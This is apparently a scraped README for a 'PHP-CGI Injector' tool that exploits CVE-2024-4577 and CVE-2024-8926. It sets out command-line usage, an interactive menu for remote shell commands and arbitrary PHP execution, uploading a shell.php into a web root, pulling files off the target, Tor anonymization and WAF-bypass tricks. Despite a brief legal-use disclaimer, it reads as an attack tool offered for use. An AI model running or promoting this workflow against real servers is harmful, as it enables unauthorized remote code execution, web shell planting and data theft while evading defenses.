Exploit for OS Command Injection in Php

## https://sploitus.com/exploit?id=FA20BE25-2978-5EB9-82B5-9B1469A53B00
# PHP-CGI Injector

🚀 **CVE-2024-4577 & CVE-2024-8926 Exploit Tool**

> An automated testing tool for **PHP-CGI parameter injection vulnerabilities**, supporting **CVE-2024-4577** and **CVE-2024-8926**. It can perform **command execution, file upload, and download** operations.

## **📌 Introduction**
This tool can be used to test **parameter injection vulnerabilities in PHP-CGI environments**. It offers:
- ✅ A cool terminal interface with animations
- ✅ Automated vulnerability scanning
- ✅ Multiple attack modes (Shell execution, PHP code execution, file upload/download)
- ✅ Default and custom payload combinations
- ✅ Tor traffic hiding mode
- ✅ Multiple bypass WAF mechanisms
- ✅ Automatic encoding of output results
- ✅ Force vulnerability exploitation mode (enabled even without scanning vulnerabilities)
- ❌ Does not support making coffee; supports bypassing WAF. - ❌ Does not support reporting issues, dating, or getting into graduate school. - ❌ Does not support social engineering; please handle human interactions yourself.

## **📜 Disclaimer**
**This tool is limited to legal testing and academic purposes only. Do not use it on unauthorized systems!**
> **⚠️ Illegal use will incur legal responsibilities!**

This tool is available only for:
- 🔹 **Company penetration tests**
- 🔹 **CTF security research**
- 🔹 **Personal security learning**
- 🔹 **Other legally authorized security tests**

---

## **📥 Installation Requirements**
This tool requires the following Python packages. Please install them first:
```bash
pip install -r requirements.txt
```
Or manually install them:
```bash
pip install requests requests-tor chardet urllib3 rich
```

---

## **🛠️ Usage**
### **📌 Basic Usage**
```bash
python exploit.py -u URL [--timeout sec] [--delay sec] [--log] [--verbose] [--payload PAYLOAD] [--bypass] [--tor] [--no-effects] [--force] [--cgipoint PATHS...]
```
Example:
```bash
python exploit.py -u http://example.com --timeout 30 --payload 2 --log --tor --verbose
python exploit.py -u http://example.com --bypass --force
python exploit.py -u http://example.com --cgipoint /php-cgi/php-cgi.exe /cgi-bin/php
```

### **📌 Parameter Options**

| Parameter | Description | Example |
|-----------|---------------|----------|
| `-u`      | Specify the target URL         | `-u http://example.com` |
| `--timeout sec` | Set the request timeout (0 for infinite) | `--timeout 30` |
| `--log`    | Automatically log shell commands   | `--log`   |
| `--payload` | Specify or customize the payload combination | `--payload 2` |
| `--tor`    | Send requests via Tor           | `--tor`   |
| `--verbose` | Display detailed information     | `--verbose` |

| `--bypass`            | Enable WAF bypass mode           | `--bypass`              |
| `--force`             | Force vulnerability exploitation mode | `--force`               |
| `--cgipoint PATHS`    | Specify a specific CGI path for testing | `--cgipoint /path`      |
| `--delay sec`         | Delay between requests in seconds   | `--delay 1.5`           |
| `--no-effects`        | Disable all animations and delays | `--no-effects`          |
---

## **📌 Operation Modes**
When the script finds a vulnerability, a menu will be displayed:
```
╭────────────  Exploit Mode Selection Menu  ────────────╮
│ Current Target: http://example.com              │
│ Current Injection Point: /php-cgi/php-cgi.exe           │
│ Vulnerability ID: CVE-2024-4577                    │
╰────────────────────────────────────────────╯
1) 🧪 Shell Mode
2) 🛠️ Custom PHP Mode
3) 📤 Upload File
4) 📥 Download File
5) 🎯 Switch Attack Target
6) ⚙️ Set Parameters
7) ❌ Exit Program
>>
```

## **📌 Mode Details**
### **1️⃣ Shell Mode**
Execute **system commands**:
```
shell> whoami
```
📂 **Save Output**:
```
shell> whoami --save
```
```
shell> whoami --save C:\output\whoami.txt
```

### **2️⃣ Custom PHP Mode**
Execute **custom PHP code**:
```
phpinfo();
EOF
```
📂 **Save Output**:
```
phpinfo();
EOF --save
```
```
phpinfo();
EOF --save C:\output\info.html
```

### **3️⃣ Upload File**
```
Local File Path: C:\test\shell.php
Target Full Path:
[*] The upload path is automatically set to: C:/xampp/htdocs/shell.php
```
📂 **Manually Specify Path**:
```
Target Full Path: C:\xampp\php\shell.php
```

### **4️⃣ Download File**
```
Remote File Path: C:\xampp\htdocs\index.php
```
📂 **Save downloaded file in `download/` directory. If duplicates exist, they will be numbered automatically.**
```
[*] File downloaded successfully: `download/index.php`
```

### **5️⃣ Switch Attack Target**
```
Enter a new target URL: http://newtarget.com
```
🔹 **Re-test the vulnerability**

### **6️⃣ Parameter Switching**
```
[⚙️ Configure stage parameters]
1) Change Payload 1
2) Bypass Module: Not selected
3) Timeout: 10 seconds
4) Request Delay: 0 seconds
5) Log Recording: Off
6) Verbose Mode: Off
7) Effects: On
8) Force: Off
9) Save and Return to Exploit Menu
```
---

## **📌 Bypass WAF Bypass Mode**
The following bypass strategies are available:
- Modify the CGI path
- Add invalid characters before and after the Payload
- Replace `php://input` with other values
- Add specific or random HTTP headers
- Confuse POST content
- Randomly shuffle the Payload order
- Customize the bypass script; see tamper_example_template.txt for details

[source-iocs-preserved url=http://example.com/]